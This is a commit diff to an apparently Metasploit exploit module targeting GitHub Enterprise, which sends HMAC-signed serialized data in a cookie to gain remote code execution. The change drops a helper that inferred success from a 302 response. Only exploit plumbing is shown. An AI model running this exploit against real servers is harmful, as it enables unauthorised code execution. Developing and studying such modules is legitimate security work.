Avoid checking res.code to determine RCE success

Because it's not accurate

Author: wchen-r7

modules/exploits/linux/http/github_enterprise_secret.rb

@@ -143,20 +143,6 @@ module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;en
     return serialized_object, hmac
   end
 
-  def get_rce_status(res)
-    unless res
-      return 'Connection timed out'
-    end
-
-    msg = "Server returned with: #{res.code}"
-
-    if res.code == 302
-      msg << ' (looks like successful code execution)'
-    end
-
-    msg
-  end
-
   def send_serialized_data(dump, hmac)
     uri = normalize_uri(target_uri.path)
     gh_manage_value = CGI.escape("#{dump}--#{hmac}")
@@ -167,7 +153,9 @@ def send_serialized_data(dump, hmac)
       'cookie' => cookie
     })
 
-    print_status(get_rce_status(res))
+    if res
+      print_status("Server returned: #{res.code}")
+    end
   end
 
   def exploit